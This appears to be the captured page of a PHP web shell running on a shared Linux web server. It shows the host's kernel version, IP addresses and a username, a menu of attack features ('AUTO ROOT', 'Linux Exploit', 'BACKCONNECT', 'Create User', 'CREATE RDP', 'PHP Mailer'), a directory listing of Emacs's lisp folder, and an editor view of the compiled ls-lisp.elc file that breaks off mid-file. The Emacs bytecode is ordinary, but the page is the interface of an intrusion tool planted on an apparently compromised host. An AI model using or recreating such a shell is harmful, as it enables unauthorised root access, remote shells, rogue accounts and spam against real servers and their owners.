Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
27.1 /
lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
calc
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
cedet
[ DIR ]
drwxr-xr-x
emacs-lisp
[ DIR ]
drwxr-xr-x
emulation
[ DIR ]
drwxr-xr-x
erc
[ DIR ]
drwxr-xr-x
eshell
[ DIR ]
drwxr-xr-x
gnus
[ DIR ]
drwxr-xr-x
image
[ DIR ]
drwxr-xr-x
international
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
leim
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
mh-e
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nxml
[ DIR ]
drwxr-xr-x
obsolete
[ DIR ]
drwxr-xr-x
org
[ DIR ]
drwxr-xr-x
play
[ DIR ]
drwxr-xr-x
progmodes
[ DIR ]
drwxr-xr-x
term
[ DIR ]
drwxr-xr-x
textmodes
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
vc
[ DIR ]
drwxr-xr-x
COPYING
34.32
KB
-rw-r--r--
README
537
B
-rw-r--r--
abbrev.elc
34.55
KB
-rw-r--r--
align.elc
39.88
KB
-rw-r--r--
allout-widgets.elc
62.37
KB
-rw-r--r--
allout.elc
203.33
KB
-rw-r--r--
ansi-color.elc
17.12
KB
-rw-r--r--
apropos.elc
37.42
KB
-rw-r--r--
arc-mode.elc
58.06
KB
-rw-r--r--
array.elc
27.07
KB
-rw-r--r--
auth-source-pass.elc
11.68
KB
-rw-r--r--
auth-source.elc
64.32
KB
-rw-r--r--
autoarg.elc
6.63
KB
-rw-r--r--
autoinsert.elc
13.41
KB
-rw-r--r--
autorevert.elc
30.71
KB
-rw-r--r--
avoid.elc
11.62
KB
-rw-r--r--
battery.elc
24.42
KB
-rw-r--r--
bindings.elc
42.76
KB
-rw-r--r--
bookmark.elc
77.09
KB
-rw-r--r--
bs.elc
49.32
KB
-rw-r--r--
buff-menu.elc
27.02
KB
-rw-r--r--
button.elc
14.97
KB
-rw-r--r--
calculator.elc
53.9
KB
-rw-r--r--
case-table.elc
4.99
KB
-rw-r--r--
cdl.elc
1.07
KB
-rw-r--r--
char-fold.elc
311.81
KB
-rw-r--r--
chistory.elc
8.16
KB
-rw-r--r--
cmuscheme.elc
18.07
KB
-rw-r--r--
color.elc
12.83
KB
-rw-r--r--
comint.elc
114.46
KB
-rw-r--r--
completion.elc
41.12
KB
-rw-r--r--
composite.elc
27.94
KB
-rw-r--r--
cus-dep.elc
6.42
KB
-rw-r--r--
cus-edit.elc
139.04
KB
-rw-r--r--
cus-face.elc
10.54
KB
-rw-r--r--
cus-load.el
85.19
KB
-rw-r--r--
cus-start.elc
21.92
KB
-rw-r--r--
cus-theme.elc
25.05
KB
-rw-r--r--
custom.elc
47.41
KB
-rw-r--r--
dabbrev.elc
22.28
KB
-rw-r--r--
delim-col.elc
8.95
KB
-rw-r--r--
delsel.elc
9.2
KB
-rw-r--r--
descr-text.elc
26.87
KB
-rw-r--r--
desktop.elc
47.64
KB
-rw-r--r--
dframe.elc
19.92
KB
-rw-r--r--
dired-aux.elc
85.75
KB
-rw-r--r--
dired-loaddefs.el
22.29
KB
-rw-r--r--
dired-x.elc
44.53
KB
-rw-r--r--
dired.elc
127.27
KB
-rw-r--r--
dirtrack.elc
7.75
KB
-rw-r--r--
disp-table.elc
8.76
KB
-rw-r--r--
display-fill-column-indicator....
8.32
KB
-rw-r--r--
display-line-numbers.elc
8.67
KB
-rw-r--r--
dnd.elc
7.13
KB
-rw-r--r--
doc-view.elc
65.25
KB
-rw-r--r--
dom.elc
7.36
KB
-rw-r--r--
dos-fns.elc
6.14
KB
-rw-r--r--
dos-vars.elc
1.1
KB
-rw-r--r--
dos-w32.elc
11.67
KB
-rw-r--r--
double.elc
4.34
KB
-rw-r--r--
dynamic-setting.elc
2.2
KB
-rw-r--r--
ebuff-menu.elc
10.46
KB
-rw-r--r--
echistory.elc
4.75
KB
-rw-r--r--
ecomplete.elc
7.1
KB
-rw-r--r--
edmacro.elc
19.94
KB
-rw-r--r--
ehelp.elc
11.32
KB
-rw-r--r--
elec-pair.elc
21.41
KB
-rw-r--r--
electric.elc
23.69
KB
-rw-r--r--
elide-head.elc
2.65
KB
-rw-r--r--
emacs-lock.elc
9.29
KB
-rw-r--r--
env.elc
6.12
KB
-rw-r--r--
epa-dired.elc
1.62
KB
-rw-r--r--
epa-file.elc
8.65
KB
-rw-r--r--
epa-hook.elc
4.63
KB
-rw-r--r--
epa-mail.elc
9.43
KB
-rw-r--r--
epa.elc
45.25
KB
-rw-r--r--
epg-config.elc
8.97
KB
-rw-r--r--
epg.elc
166.06
KB
-rw-r--r--
expand.elc
9.07
KB
-rw-r--r--
ezimage.elc
9.65
KB
-rw-r--r--
face-remap.elc
16.58
KB
-rw-r--r--
facemenu.elc
27.89
KB
-rw-r--r--
faces.elc
90.21
KB
-rw-r--r--
ffap.elc
50.3
KB
-rw-r--r--
filecache.elc
16.69
KB
-rw-r--r--
fileloop.elc
6.62
KB
-rw-r--r--
filenotify.elc
28.49
KB
-rw-r--r--
files-x.elc
21.9
KB
-rw-r--r--
files.elc
236.95
KB
-rw-r--r--
filesets.elc
72.57
KB
-rw-r--r--
find-cmd.elc
4.9
KB
-rw-r--r--
find-dired.elc
10.41
KB
-rw-r--r--
find-file.elc
18.33
KB
-rw-r--r--
find-lisp.elc
7.66
KB
-rw-r--r--
finder-inf.el
41.27
KB
-rw-r--r--
finder.elc
14.73
KB
-rw-r--r--
flow-ctrl.elc
2.26
KB
-rw-r--r--
foldout.elc
7.25
KB
-rw-r--r--
follow.elc
40.63
KB
-rw-r--r--
font-core.elc
12.41
KB
-rw-r--r--
font-lock.elc
61.63
KB
-rw-r--r--
format-spec.elc
3.93
KB
-rw-r--r--
format.elc
27.56
KB
-rw-r--r--
forms.elc
35.1
KB
-rw-r--r--
frame.elc
85.94
KB
-rw-r--r--
frameset.elc
48.02
KB
-rw-r--r--
fringe.elc
10.23
KB
-rw-r--r--
generic-x.elc
40.27
KB
-rw-r--r--
help-at-pt.elc
11.15
KB
-rw-r--r--
help-fns.elc
45.35
KB
-rw-r--r--
help-macro.elc
4.25
KB
-rw-r--r--
help-mode.elc
23.89
KB
-rw-r--r--
help.elc
52.22
KB
-rw-r--r--
hex-util.elc
1.3
KB
-rw-r--r--
hexl.elc
35.39
KB
-rw-r--r--
hfy-cmap.elc
25.45
KB
-rw-r--r--
hi-lock.elc
29.38
KB
-rw-r--r--
hilit-chg.elc
28.77
KB
-rw-r--r--
hippie-exp.elc
21.52
KB
-rw-r--r--
hl-line.elc
11.23
KB
-rw-r--r--
htmlfontify-loaddefs.el
808
B
-rw-r--r--
htmlfontify.elc
67.51
KB
-rw-r--r--
ibuf-ext.elc
77.15
KB
-rw-r--r--
ibuf-macs.elc
12.47
KB
-rw-r--r--
ibuffer-loaddefs.el
12.68
KB
-rw-r--r--
ibuffer.elc
98.62
KB
-rw-r--r--
icomplete.elc
22.83
KB
-rw-r--r--
ido.elc
127.92
KB
-rw-r--r--
ielm.elc
19.2
KB
-rw-r--r--
iimage.elc
4.92
KB
-rw-r--r--
image-dired.elc
92.97
KB
-rw-r--r--
image-file.elc
6.53
KB
-rw-r--r--
image-mode.elc
42.56
KB
-rw-r--r--
image.elc
34.45
KB
-rw-r--r--
imenu.elc
24.94
KB
-rw-r--r--
indent.elc
23.63
KB
-rw-r--r--
info-look.elc
28.18
KB
-rw-r--r--
info-xref.elc
16.59
KB
-rw-r--r--
info.elc
144.48
KB
-rw-r--r--
informat.elc
9.73
KB
-rw-r--r--
isearch.elc
147.85
KB
-rw-r--r--
isearchb.elc
4.73
KB
-rw-r--r--
jit-lock.elc
23.49
KB
-rw-r--r--
jka-cmpr-hook.elc
13.07
KB
-rw-r--r--
jka-compr.elc
12.09
KB
-rw-r--r--
json.elc
22.76
KB
-rw-r--r--
jsonrpc.elc
31.65
KB
-rw-r--r--
kermit.elc
2.92
KB
-rw-r--r--
kmacro.elc
35.15
KB
-rw-r--r--
ldefs-boot.el
1.41
MB
-rw-r--r--
linum.elc
10.77
KB
-rw-r--r--
loaddefs.el
1.41
MB
-rw-r--r--
loadhist.elc
9.77
KB
-rw-r--r--
loadup.el
20.08
KB
-rw-r--r--
locate.elc
19.57
KB
-rw-r--r--
lpr.elc
9.44
KB
-rw-r--r--
ls-lisp.elc
22.7
KB
-rw-r--r--
macros.elc
7.23
KB
-rw-r--r--
makesum.elc
2.47
KB
-rw-r--r--
man.elc
53.85
KB
-rw-r--r--
master.elc
4.58
KB
-rw-r--r--
mb-depth.elc
3.56
KB
-rw-r--r--
md4.elc
8.12
KB
-rw-r--r--
menu-bar.elc
86.61
KB
-rw-r--r--
midnight.elc
10.22
KB
-rw-r--r--
minibuf-eldef.elc
6.43
KB
-rw-r--r--
minibuffer.elc
104.08
KB
-rw-r--r--
misc.elc
5.4
KB
-rw-r--r--
misearch.elc
12.37
KB
-rw-r--r--
mouse-copy.elc
3.61
KB
-rw-r--r--
mouse-drag.elc
6.43
KB
-rw-r--r--
mouse.elc
71.3
KB
-rw-r--r--
mpc.elc
79.29
KB
-rw-r--r--
msb.elc
26.76
KB
-rw-r--r--
mwheel.elc
12.83
KB
-rw-r--r--
newcomment.elc
39.43
KB
-rw-r--r--
notifications.elc
13.78
KB
-rw-r--r--
novice.elc
4.43
KB
-rw-r--r--
obarray.elc
1.71
KB
-rw-r--r--
outline.elc
37.04
KB
-rw-r--r--
paren.elc
8.69
KB
-rw-r--r--
password-cache.elc
3.57
KB
-rw-r--r--
pcmpl-cvs.elc
6.17
KB
-rw-r--r--
pcmpl-gnu.elc
12.96
KB
-rw-r--r--
pcmpl-linux.elc
3.09
KB
-rw-r--r--
pcmpl-rpm.elc
11.17
KB
-rw-r--r--
pcmpl-unix.elc
7.52
KB
-rw-r--r--
pcmpl-x.elc
8.95
KB
-rw-r--r--
pcomplete.elc
36.16
KB
-rw-r--r--
pixel-scroll.elc
10.82
KB
-rw-r--r--
plstore.elc
14.75
KB
-rw-r--r--
printing.elc
157.7
KB
-rw-r--r--
proced.elc
62.85
KB
-rw-r--r--
profiler.elc
42.81
KB
-rw-r--r--
ps-bdf.elc
12.69
KB
-rw-r--r--
ps-def.elc
2.23
KB
-rw-r--r--
ps-mule.elc
34.89
KB
-rw-r--r--
ps-print-loaddefs.el
2.6
KB
-rw-r--r--
ps-print.elc
141.17
KB
-rw-r--r--
ps-samp.elc
5.26
KB
-rw-r--r--
recentf.elc
48.73
KB
-rw-r--r--
rect.elc
26.88
KB
-rw-r--r--
register.elc
27.63
KB
-rw-r--r--
registry.elc
10.41
KB
-rw-r--r--
repeat.elc
5.14
KB
-rw-r--r--
replace.elc
84.62
KB
-rw-r--r--
reposition.elc
2.66
KB
-rw-r--r--
reveal.elc
7.16
KB
-rw-r--r--
rfn-eshadow.elc
7.23
KB
-rw-r--r--
rot13.elc
2.56
KB
-rw-r--r--
rtree.elc
4.09
KB
-rw-r--r--
ruler-mode.elc
21.87
KB
-rw-r--r--
savehist.elc
10.83
KB
-rw-r--r--
saveplace.elc
11.87
KB
-rw-r--r--
sb-image.elc
2.75
KB
-rw-r--r--
scroll-all.elc
4.41
KB
-rw-r--r--
scroll-bar.elc
16.68
KB
-rw-r--r--
scroll-lock.elc
5.41
KB
-rw-r--r--
select.elc
18.75
KB
-rw-r--r--
server.elc
47.56
KB
-rw-r--r--
ses.elc
131.12
KB
-rw-r--r--
shadowfile.elc
31.16
KB
-rw-r--r--
shell.elc
41.53
KB
-rw-r--r--
simple.elc
301.78
KB
-rw-r--r--
skeleton.elc
15.76
KB
-rw-r--r--
so-long.elc
47.15
KB
-rw-r--r--
sort.elc
15.49
KB
-rw-r--r--
soundex.elc
1.14
KB
-rw-r--r--
speedbar.elc
115.02
KB
-rw-r--r--
startup.elc
68.51
KB
-rw-r--r--
strokes.elc
44.03
KB
-rw-r--r--
subdirs.el
450
B
-rw-r--r--
subr.elc
186.63
KB
-rw-r--r--
svg.elc
12.71
KB
-rw-r--r--
t-mouse.elc
3.8
KB
-rw-r--r--
tab-bar.elc
52.48
KB
-rw-r--r--
tab-line.elc
29.85
KB
-rw-r--r--
tabify.elc
2.17
KB
-rw-r--r--
talk.elc
2.99
KB
-rw-r--r--
tar-mode.elc
57.2
KB
-rw-r--r--
tempo.elc
19.18
KB
-rw-r--r--
term.elc
107.99
KB
-rw-r--r--
thingatpt.elc
16.88
KB
-rw-r--r--
thread.elc
8.08
KB
-rw-r--r--
thumbs.elc
25.74
KB
-rw-r--r--
time-stamp.elc
18.69
KB
-rw-r--r--
time.elc
20.87
KB
-rw-r--r--
timezone.elc
10.94
KB
-rw-r--r--
tmm.elc
13.39
KB
-rw-r--r--
tool-bar.elc
9.76
KB
-rw-r--r--
tooltip.elc
13.19
KB
-rw-r--r--
tree-widget.elc
19.84
KB
-rw-r--r--
tutorial.elc
22.28
KB
-rw-r--r--
type-break.elc
37.35
KB
-rw-r--r--
uniquify.elc
17.68
KB
-rw-r--r--
userlock.elc
6.33
KB
-rw-r--r--
vcursor.elc
23.92
KB
-rw-r--r--
version.elc
6.01
KB
-rw-r--r--
view.elc
34.69
KB
-rw-r--r--
vt-control.elc
1.99
KB
-rw-r--r--
vt100-led.elc
1.33
KB
-rw-r--r--
w32-fns.elc
11.01
KB
-rw-r--r--
w32-vars.elc
5.16
KB
-rw-r--r--
wdired.elc
23.52
KB
-rw-r--r--
whitespace.elc
69.06
KB
-rw-r--r--
wid-browse.elc
8.48
KB
-rw-r--r--
wid-edit.elc
99.52
KB
-rw-r--r--
widget.elc
1.4
KB
-rw-r--r--
windmove.elc
19.82
KB
-rw-r--r--
window.elc
294.5
KB
-rw-r--r--
winner.elc
12.04
KB
-rw-r--r--
woman.elc
109.43
KB
-rw-r--r--
x-dnd.elc
19.56
KB
-rw-r--r--
xdg.elc
10.14
KB
-rw-r--r--
xml.elc
25.31
KB
-rw-r--r--
xt-mouse.elc
14.1
KB
-rw-r--r--
xwidget.elc
18.9
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ls-lisp.elc
;ELC ;;; Compiled ;;; in Emacs version 27.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (custom-declare-group 'ls-lisp nil "Emulate the ls program completely in Emacs Lisp." :version "21.1" :group 'dired) #@63 Reset the ls-lisp options that depend on `ls-lisp-emulation'. (defalias 'ls-lisp-set-options #[0 "\300\301\302\"\207" [mapc custom-reevaluate-setting (ls-lisp-ignore-case ls-lisp-dirs-first ls-lisp-verbosity)] 3 (#$ . 525)]) (byte-code "\300\301\302\303\304DD\305\306\307\310\311\312\313\314\315& \210\316\317\320\321#\210\322\211\203; \211@\317N\2034 \320N\2044 \323\320\317N#\210A\266\202\202 \210\324\317\320\325#\210\300\320\302\303\326DD\327\330\331\306\332\314\315& \210\300\333\302\303\334DD\335\336\337\330\340\306\332\314\315& \210\300\341\302\303\342DD\343\336\337\306\332\314\315& \210\300\344\302\303\345DD\346\330\347\306\332\314\315& \210\300\350\302\303\351DD\352\330\353\306\354\314\315& \210\300\355\302\303\356DD\357\306\332\314\315&\210\300\360\302\303\361DD\362\306\332\314\315&\210\300\363\302\303\364DD\365\306\366\314\315&\210\300\367\302\303\370DD\371\306\332\314\315&\207" [custom-declare-variable ls-lisp-emulation funcall function #[0 "\301>\205 \302\207" [system-type (hpux usg-unix-v berkeley-unix) UNIX] 2] "Platform to emulate: GNU (default), macOS, MS-Windows, UNIX.\nCorresponding value is one of: nil, `MacOS', `MS-Windows', `UNIX'.\nSet this to your preferred value; it need not match the actual platform\nyou are using.\n\nThis variable does not affect the behavior of ls-lisp directly.\nRather, it controls the default values for some variables that do:\n`ls-lisp-ignore-case', `ls-lisp-dirs-first', and `ls-lisp-verbosity'.\n\nIf you change this variable directly (without using customize)\nafter loading `ls-lisp', you should use `ls-lisp-set-options' to\nupdate the dependent variables." :type (choice (const :tag "GNU" nil) (const MacOS) (const MS-Windows) (const UNIX)) :initialize custom-initialize-default :set #[514 "\211\300!\232?\205 \301\"\210\302 \207" [eval custom-set-default ls-lisp-set-options] 5 "\n\n(fn SYMBOL VALUE)"] :group ls-lisp defvaralias ls-lisp-dired-ignore-case ls-lisp-ignore-case nil (saved-value saved-variable-comment) put make-obsolete-variable "21.1" #[0 "\301>\207" [ls-lisp-emulation (MS-Windows MacOS)] 2] "Non-nil causes ls-lisp alphabetic sorting to ignore case." :set-after (ls-lisp-emulation) boolean ls-lisp-use-string-collate #[0 "\301>\203 \302\207\303\207" [ls-lisp-emulation (MacOS UNIX) nil t] 2] "Non-nil causes ls-lisp to sort files in locale-dependent collation order.\n\nA value of nil means use ordinary string comparison (see `compare-strings')\nfor sorting files. A non-nil value uses `string-collate-lessp' instead,\nwhich more closely emulates what GNU `ls' does.\n\nOn GNU/Linux systems, if the locale's codeset specifies UTF-8, as\nin \"en_US.UTF-8\", the collation order follows the Unicode\nCollation Algorithm (UCA), which places together file names that\ndiffer only in punctuation characters. On MS-Windows, customize\nthe option `ls-lisp-UCA-like-collation' to a non-nil value to get\nsimilar behavior." :version "25.1" (ls-lisp-emulation) ls-lisp-UCA-like-collation #[0 "\300\207" [t] 1] "Non-nil means force ls-lisp use a collation order compatible with UCA.\n\nUCA is the Unicode Collation Algorithm. GNU/Linux systems automatically\nfollow it in their string-collation routines if the locale specifies\nUTF-8 as its codeset. On MS-Windows, customize this option to a non-nil\nvalue to get similar behavior.\n\nWhen this option is non-nil, and `ls-lisp-use-string-collate' is also\nnon-nil, the collation order produced on MS-Windows will ignore\npunctuation and symbol characters, which will, for example, place\n`.foo' near `foo'. See the documentation of `string-collate-lessp'\nand `w32-collate-ignore-punctuation' for more details.\n\nThis option is ignored on platforms other than MS-Windows; to\ncontrol the collation ordering of the file names on those other\nsystems, set your locale instead." ls-lisp-dirs-first #[0 "\301=\207" [ls-lisp-emulation MS-Windows] 2] "Non-nil causes ls-lisp to sort directories first in any ordering.\n(Or last if it is reversed.) Follows Microsoft Windows Explorer." (ls-lisp-emulation) ls-lisp-verbosity #[0 "\301\267\202 \302\207\303\304!\205 \304 \205 \305\207\306\207\307\207" [ls-lisp-emulation #s(hash-table size 3 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (MacOS 6 MS-Windows 8 UNIX 21)) nil fboundp w32-using-nt (links) (links uid) (links uid gid)] 2] "A list of optional file attributes that ls-lisp should display.\nIt should contain none or more of the symbols: links, uid, gid.\nA value of nil (or an empty list) means display none of them.\n\nConcepts come from UNIX: `links' means count of names associated with\nthe file; `uid' means user (owner) identifier; `gid' means group\nidentifier.\n\nIf emulation is MacOS then default is nil;\nif emulation is MS-Windows then default is `(links)' if platform is\nWindows NT/2K, nil otherwise;\nif emulation is UNIX then default is `(links uid)';\nif emulation is GNU then default is `(links uid gid)'." (ls-lisp-emulation) (set (const :tag "Show Link Count" links) (const :tag "Show User" uid) (const :tag "Show Group" gid)) ls-lisp-use-insert-directory-program #[0 "\301>?\207" [system-type (ms-dos windows-nt)] 2] "Non-nil causes ls-lisp to revert back to using `insert-directory-program'.\nThis is useful on platforms where ls-lisp is dumped into Emacs, such as\nMicrosoft Windows, but you would still like to use a program to list\nthe contents of a directory." ls-lisp-support-shell-wildcards #[0 "\300\207" [t] 1] "Non-nil means ls-lisp treats file patterns as shell wildcards.\nOtherwise they are treated as Emacs regexps (for backward compatibility)." ls-lisp-format-time-list #[0 "\300\207" [("%b %e %H:%M" "%b %e %Y")] 1] "List of `format-time-string' specs to display file time stamps.\nThese specs are used ONLY if a valid locale can not be determined.\n\nIf `ls-lisp-use-localized-time-format' is non-nil, these specs are used\nregardless of whether the locale can be determined.\n\nSyntax: (EARLY-TIME-FORMAT OLD-TIME-FORMAT)\n\nThe EARLY-TIME-FORMAT is used if file has been modified within the\ncurrent year. The OLD-TIME-FORMAT is used for older files. To use ISO\n8601 dates, you could set:\n\n(setq ls-lisp-format-time-list\n \\='(\"%Y-%m-%d %H:%M\"\n \"%Y-%m-%d \"))" (list (string :tag "Early time format") (string :tag "Old time format")) ls-lisp-use-localized-time-format #[0 "\300\207" [nil] 1] "Non-nil means to always use `ls-lisp-format-time-list' for time stamps.\nThis applies even if a valid locale is specified.\n\nWARNING: Using localized date/time format might cause Dired columns\nto fail to line up, e.g. if month names are not all of the same length."] 12) #@33 Format to display integer UIDs. (defvar ls-lisp-uid-d-fmt " %d" (#$ . 7202)) #@31 Format to display user names. (defvar ls-lisp-uid-s-fmt " %s" (#$ . 7285)) #@33 Format to display integer GIDs. (defvar ls-lisp-gid-d-fmt " %d" (#$ . 7366)) #@37 Format to display user group names. (defvar ls-lisp-gid-s-fmt " %s" (#$ . 7449)) #@39 Format to display integer file sizes. (defvar ls-lisp-filesize-d-fmt " %d" (#$ . 7536)) #@37 Format to display float file sizes. (defvar ls-lisp-filesize-f-fmt " %.0f" (#$ . 7630)) #@61 Format to display file sizes in blocks (for the -s switch). (defvar ls-lisp-filesize-b-fmt " %.0f" (#$ . 7724)) #@1164 Insert directory listing for FILE, formatted according to SWITCHES. Leaves point after the inserted text. SWITCHES may be a string of options, or a list of strings. Optional third arg WILDCARD means treat FILE as shell wildcard. Optional fourth arg FULL-DIRECTORY-P means file is a directory and switches do not contain `d', so that a full listing is expected. This version of the function comes from `ls-lisp.el'. If the value of `ls-lisp-use-insert-directory-program' is non-nil then this advice just delegates the work to ORIG-FUN (the normal `insert-directory' function from `files.el'). But if the value of `ls-lisp-use-insert-directory-program' is nil then it runs a Lisp emulation. The Lisp emulation does not run any external programs or shells. It supports ordinary shell wildcards if `ls-lisp-support-shell-wildcards' is non-nil; otherwise, it interprets wildcards as regular expressions to match file names. It does not support all `ls' switches -- those that work are: A a B C c F G g h i n R r S s t U u v X. The l switch is assumed to be always present and cannot be turned off. (fn ORIG-FUN FILE SWITCHES &optional WILDCARD FULL-DIRECTORY-P) (defalias 'ls-lisp--insert-directory #[1283 "\203 $\207\302\303!\304\"\305\203% \304%\202\377 \306\307\"\2036 \310\311\305\211 $\262\312\313\312\314\315\n\305\"\"\"\262 \203o \306\316\"\203o \317!\204o \211GSH\320=\203l \321\322 GS#\262\323\262\203\217 \203\200 \324\325!!\202\204 \325!\262\326!\262\202\231 \327>\203\231 \330\262\3311\256 \332\333 !%0\202\335 \211A@\334\232\203\325 \327>\205\276 \330\262\335!\262\332\333\n!\305 %\202\333 \336@A\"\262\210\212eb\210\337\340\305\323#\205\376 \341\342!\211\205\374 \310\343!\210\305\210\344\261\262)\207" [ls-lisp-use-insert-directory-program ls-lisp-support-shell-wildcards find-file-name-handler expand-file-name insert-directory nil string-match "--dired " replace-match "" delete 32 45 append "[[?*]" file-exists-p 47 substring 0 t wildcard-to-regexp file-name-nondirectory file-name-directory 66 "[^~]\\'" (invalid-regexp) ls-lisp-insert-directory ls-lisp-time-index "Unmatched [ or [^" file-relative-name signal re-search-forward "^total" get-free-disk-space "." "total used in directory" " available "] 15 (#$ . 7844)]) (advice-add 'insert-directory :around 'ls-lisp--insert-directory) #@592 Insert directory listing for FILE, formatted according to SWITCHES. Leaves point after the inserted text. This is an internal function optionally called by the `ls-lisp.el' version of `insert-directory'. It is called recursively if the -R switch is used. SWITCHES is a *list* of characters. TIME-INDEX is the time index into file-attributes according to SWITCHES. WILDCARD-REGEXP is nil or an *Emacs regexp*. FULL-DIRECTORY-P means file is a directory and SWITCHES does not contain `d', so that a full listing is expected. (fn FILE SWITCHES TIME-INDEX WILDCARD-REGEXP FULL-DIRECTORY-P) (defalias 'ls-lisp-insert-directory #[1285 "\203\n \306\230\203 \211\203\340\307!\211\310\311\312\313\n>\203# \314\202$ \315%\316\211\211\211\311\211\211\211\211\211\211\211\211\211\317!\262\320>\203J \321\322\"\262\202X \323>\204X \321\324\"\262\325\"\262\326>\203o \327!\210\202\216`\242B\262\n\211\203\353 \211@\211A\262\3308\262\262;\203\227 \331!\202\235 \332\333\"G\262\3348\262\262;\203\263 \331!\202\271 \332\333\"G\262\3358\262\262V\203\316 \262V\203\330 \262 V\203\344 \262 A\266\202\202x \210\332\336\"\332\337\"\332\336 \"\332\337 \"\332\340\332\341\"G\"\332\342\332\341\"G\"=\343>\203/\332\344\332\341\345\346\245!\"G\">\262 \203s@\262A\262 @\262A\262\3358\262\262\2033\\\211\262\2033\347%c\210\2023\212 @b\210 A\204\202\350c\210\332\351\345\352\245!\"c\210)\204\226db\210\353>\205\336\205\336@\262A\262A@\312=\203\235\354\355 @\"\204\235\356@\"\262\357\360\261\210\361%\210\202\235)\207\362!\203\353\356!\262\211GSH\363=\203\374\364\316\365#\262\366\315\"\211\203&\347\367>\203\370\"\202\211\3358\262%c\202.\371\372\373\374 E\"\207" [default-directory ls-lisp-uid-d-fmt ls-lisp-uid-s-fmt ls-lisp-gid-d-fmt ls-lisp-gid-s-fmt ls-lisp-filesize-d-fmt "[^~]\\'" file-name-as-directory directory-files-and-attributes nil t 110 integer string 0 ls-lisp-sanitize 65 ls-lisp-delete-matching "^\\.\\.?$" 97 "^\\." ls-lisp-handle-switches 67 ls-lisp-column-format 2 string-width format "%d" 3 7 " %%-%dd" " %%-%ds" " %%%dd" "%.0f" " %%%d.0f" 115 "%%%d.0f " fceiling 1024.0 ls-lisp-format "(No match)\n" "total %.0f\n" 1024.0 82 string-match "\\`\\.\\.?/?\\'" expand-file-name "\n" ":\n" ls-lisp-insert-directory file-name-absolute-p 47 substring -1 file-attributes 70 ls-lisp-classify-file signal file-error "Reading directory" "Directory doesn't exist or is inaccessible" ls-lisp-filesize-f-fmt ls-lisp-filesize-b-fmt] 28 (#$ . 10232)]) #@48 (fn ORIG-FUN DIR-OR-LIST &optional SWITCHES) (defalias 'ls-lisp--dired #[770 "\204 \262:\203 \"\207\302\303!!\211\204! \"\202a \211@\304A!@\203[ \305\306C\244\205> C#r\211q\210\212eb\210\307 \210\310y\210\311A\312\261+\266\202\202^ \313\314!)\266\202\207" [default-directory inhibit-read-only insert-directory-wildcard-in-dir-p expand-file-name file-expand-wildcards t apply dired-goto-next-file 0 " wildcard " "\n" user-error "No files matching regexp"] 11 (#$ . 12883) (dired-read-dir-and-switches "")]) (advice-add 'dired :around 'ls-lisp--dired) #@528 Sanitize the elements in FILE-ALIST. Fixes any elements in the alist for directory entries whose file attributes are nil (meaning that `file-attributes' failed for them). This is known to happen for some network shares, in particular for the ".." directory entry. If the ".." directory entry has nil attributes, the attributes are copied from the "." entry, if they are non-nil. Otherwise, the offending element is removed from the list, as are any elements for other directory entries with nil attributes. (fn FILE-ALIST) (defalias 'ls-lisp-sanitize #[257 "\300\301\":\203# \300\301\"A\204# \300\302\"A\203# \300\301\"\300\302\"A\241\210\303\304\"\207" [assoc ".." "." rassq-delete-all nil] 5 (#$ . 13472)]) #@200 Insert the file names (only) in FILE-ALIST into the current buffer. Format in columns, sorted vertically, following GNU ls -C. Responds to the window width as ls should but may not! (fn FILE-ALIST) (defalias 'ls-lisp-column-format #[257 "\300\211\211\211\301\211\300\211\2032 T\262@@\262B\262A\262 G\262\211V\203 \211\262\202 \266\237\262\302\\\262\303\304\"\262\305 \245\262\245\262_V\203Z T\262\301\300W\205\217 \262\211W\203} \303\n8\"c\210\211\\\262\202e `\306\300x\210`|\210\307c\210T\262\202\\ \266\202\207" [nil 0 2 format "%%-%ds" window-width " " 10] 13 (#$ . 14198)]) #@83 Delete all elements matching REGEXP from LIST, return new list. (fn REGEXP LIST) (defalias 'ls-lisp-delete-matching #[514 "\300\203 \301@@\"\204 @B\262A\262\202 \211\207" [nil string-match] 6 (#$ . 14833)]) #@509 Return t if string S1 should sort before string S2. Case is significant if `ls-lisp-ignore-case' is nil. Uses `string-collate-lessp' if `ls-lisp-use-string-collate' is non-nil, `compare-strings' otherwise. On GNU/Linux systems, if the locale specifies UTF-8 as the codeset, the sorting order will place together file names that differ only by punctuation characters, like `.emacs' and `emacs'. To have a similar behavior on MS-Windows, customize `ls-lisp-UCA-like-collation' to a non-nil value. (fn S1 S2) (defalias 'ls-lisp-string-lessp #[514 "\n\203 \304\305 $\202# \306\307\305\307\305 &\211\247\205! \211\307W\262)\207" [ls-lisp-UCA-like-collation w32-collate-ignore-punctuation ls-lisp-use-string-collate ls-lisp-ignore-case string-collate-lessp nil compare-strings 0] 10 (#$ . 15059)]) (put 'ls-lisp-string-lessp 'byte-optimizer 'byte-compile-inline-expand) #@371 Return t if versioned string S1 should sort before versioned string S2. Case is significant if `ls-lisp-ignore-case' is nil. This is the same as string-lessp (with the exception of case insensitivity), but sequences of digits are compared numerically, as a whole, in the same manner as the `strverscmp' function available in some standard C libraries does. (fn S1 S2) (defalias 'ls-lisp-version-lessp #[514 "\301\211GG\301\302\211\211\211\211 W\203 W\203 \301U\203 \211\204@ \303\304 